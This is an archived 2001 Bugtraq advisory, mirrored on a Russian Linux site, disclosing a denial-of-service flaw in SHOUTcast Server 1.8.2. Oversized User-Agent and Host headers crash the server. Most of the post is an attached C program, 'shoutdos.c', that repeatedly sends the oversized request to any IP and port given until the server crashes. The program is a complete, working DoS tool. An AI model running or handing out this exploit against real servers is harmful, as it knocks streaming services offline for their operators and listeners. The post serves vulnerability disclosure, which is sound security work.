The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Denial of Service in SHOUTcast Server 1.8.2 Linux/w32/?


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Fri, 3 Aug 2001 10:29:20 +0200
From: FraMe <frame@hispalab.com>
To: bugtraq@securityfocus.com
Subject: Denial of Service in SHOUTcast Server 1.8.2 Linux/w32/?

------=_NextPart_000_0030_01C11C07.27D53EC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Vendor   :  Nullsoft
Product  :   SHOUTcast Server 1.8.2 Linux/win32/?
Date     :  01/08/2001

CONTENTS

1. Overview
2. Details
3. Systems.
4. Denial of Service
5. Vendor Response

1. Overview:

SHOUTcast Server is a streaming audio server. A "bad" client request can
crash the server.

2. Details

Server crash when get, seven
times ( aprox ), a very long buffer (4KB) in fields: User-Agent and
Host, in the client HTTP request.

3. Systems

    - SHOUTcast Server 1.8.2 ( Linux )
    - SHOUTcast Server 1.8.2 ( Win32 )
    - SHOUTcast Server 1.8.2 ( Others ) ( No test )

4. DoS

The DoS in C format is attached.

5. Vendor Response

31/08/01: Sent problem to tom@nullsoft.com

03/08/01: No response from tom@nullsoft.com
                Sent problem to bugtraq@securityfocus.com



[ FraMe - frame@hispalab.com ] [ Digital LiVe - http://frame.lifefromthenet.com ] [ PGP Key - www.hispalab.com/frame/pgpkey.asc ] [ Geek Code - www.hispalab.com/frame/geek.txt ]
------=_NextPart_000_0030_01C11C07.27D53EC0 Content-Type: application/octet-stream; name="shoutdos.c" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="shoutdos.c" /*=0A= * ShoutDoS: Remote Denial of Service SHOUTcast Server =0A= * =0A= * ShoutDoS (C) 2001 FraMe <frame@hispalab.com>=0A= * =0A= * Tested: =0A= * SHOUTcast Server 1.8.2 Linux=0A= * SHOUTcast Server 1.8.2 Win32=0A= * =0A= */=0A= =0A= #include <stdlib.h>=0A= #include <stdio.h>=0A= #include <string.h>=0A= #include <netdb.h>=0A= #include <sys/param.h>=0A= #include <sys/types.h>=0A= #include <sys/socket.h>=0A= #include <netinet/in.h>=0A= #include <arpa/inet.h>=0A= #include <sys/errno.h>=0A= =0A= void msg(void) {=0A= printf("ShoutDoS: Remote Denial of Service SHOUTcast Server\n");=0A= printf("ShoutDoS (C) 2001 FraMe <frame@hispalab.com>\n");=0A= }=0A= =0A= int main(int argc,char **argv) {=0A= =0A= int s,n=3D0,c;=0A= struct sockaddr_in sa;=0A= struct hostent *SHOUTserver;=0A= =0A= char buffer[]=3D"GET / HTTP/1.0\r\nUser-Agent: = SHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceS= HOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSH= OUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHO= UTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOU= TcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUT= castDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTca= stDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcas= tDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcast= DenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastD= enialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDe= nialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDen= ialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDeni= alofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenia= lofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenial= ofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialo= fServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofS= erviceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofSe= rviceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofSer= viceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServ= iceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServi= ceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServic= eSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofService= SHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceS= HOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSH= OUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHO= UTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOU= TcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTc= astDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTca= stDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcas= tDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcast= DenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastD= enialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDe= nialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDen= ialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDeni= alofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenia= lofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenial= ofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialof= ServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofS= erviceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofSe= rviceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofSer= viceSHOUTcastDenialofService\r\nHost: = your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.no= w.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.= now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.cras= h.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.cr= ash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.= crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.g= o.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server= .go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.serv= er.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.se= rver.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.= server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.you= r.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.y= our.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now= .your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.n= ow.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash= .now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.cra= sh.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.c= rash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go= .crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.= go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.serve= r.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.ser= ver.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.s= erver.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your= .server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.yo= ur.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.= your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.no= w.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.= now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.cras= h.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.cr= ash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.= crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.g= o.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server= .go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.serv= er.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.se= rver.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.= server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.you= r.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.y= our.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now= .your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.n= ow.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash= .now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.cra= sh.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.c= rash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go= .crash.now.your.server.go.crash.now.your.server.go.crash.now\r\nAuthoriza= tion: Basic\r\n\r\n";=0A= char rbuff[512];=0A= =0A= if ( argc !=3D 3 ) {=0A= msg();=0A= printf("Usage: %s ip port\n",*argv);=0A= exit(1);=0A= }=0A= =0A= if ((SHOUTserver =3D gethostbyname(argv[1])) =3D=3D NULL) {=0A= msg();=0A= printf("Error: gethostbyname()\n");=0A= exit(1);=0A= }=0A= =0A= = memcpy(&sa.sin_addr.s_addr,SHOUTserver->h_addr,SHOUTserver->h_length);=0A= sa.sin_family =3D AF_INET;=0A= sa.sin_port =3D htons(atoi(argv[2]));=0A= =0A= if ((s=3Dsocket(PF_INET,SOCK_STREAM,0)) < 0 ) {=0A= msg();=0A= printf("Error: socket()\n");=0A= exit(1);=0A= }=0A= =0A= if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {=0A= msg();=0A= printf("Error: connect()\n"); =0A= exit (1);=0A= }=0A= =0A= close(s);=0A= msg();=0A= printf("Connect. The host appears be up...\n");=0A= printf("Doing DoS ");=0A= =0A= DoS:=0A= =0A= if ((s=3Dsocket(PF_INET,SOCK_STREAM,0)) < 0 ) {=0A= printf(" Error!\n");=0A= exit(1);=0A= }=0A= =0A= if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {=0A= printf(" Server Crash!\n"); =0A= exit (1);=0A= }=0A= =0A= write(s,buffer,sizeof(buffer)-1);=0A= read(s,rbuff,sizeof(rbuff));=0A= close(s);=0A= printf(".");=0A= =0A= goto DoS; // Basic Power :)=0A= }=0A= =0A= /* EOF */=0A= =0A= ------=_NextPart_000_0030_01C11C07.27D53EC0--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру